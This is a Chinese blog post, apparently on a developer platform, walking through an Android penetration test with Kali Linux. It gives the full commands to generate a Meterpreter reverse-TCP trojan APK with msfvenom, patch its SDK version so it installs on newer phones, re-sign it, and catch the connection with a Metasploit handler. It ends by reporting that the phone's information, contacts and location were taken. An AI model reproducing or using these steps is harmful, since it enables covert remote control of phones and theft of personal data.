kali完成一次android渗透测试

一、生成木马

1、利用kali自带的msf生成木马文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=5555 R > exp.apk 

 

 2、下载apk到手机安装

 

3、解决木马程序问题

①旧版本问题

手机为MIUI13,出现报错此应用专为旧版android打造(无截图)

查询资料后发现主要原因为SDK版本问题,反编译进行修改

在AdnroidManifest.xml文件<application>标签上方添加

<uses-sdk android:targetSdkVersion="23" android:minSdkVersion="16"/>

 重新编译,找到apk文件并改名

②重签名问题

下载后安装,报错103,需要重新签名 

 

重签名过程

1、生成签名证书

keytool -genkey -alias test -keyalg RSA -keystore mykey.jks

/*解释:keytool工具是Java JDK自带的证书工具

-genkey参数表示:要生成一个证书(版权、身份识别的安全证书)

-alias参数表示:证书别名 test

-keyalg RSA表示加密类型,RSA表示需要加密,以防止别人盗取

-keystore myKey.jks表示要生成的证书名称为myKey.jks

*/

2.重签名

jarsigner -verbose -keystore mykey.jks -signedjar exp-out.apk exp-change.apk test

四、渗透测试

1、开启msf

msfconsole

2、选定监听模块

use exploit/multi/handler

3、设置相关参数

set payload android/meterpreter/reverse_tcp

set lhost XX.XX.XX.XX

set lport XXXX

4、启动

run

 5、手机上点击app图标,开启应用,后台成功捕获目标

获取相关信息,成功渗透

 

其他相关指令请查看help

五、木马跑死

此时执行其他指令时出现超时等报错,原因为安卓设备未提供相关权限,或后台进程被杀死

 

  六、成功获取手机信息、通信录、地址

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值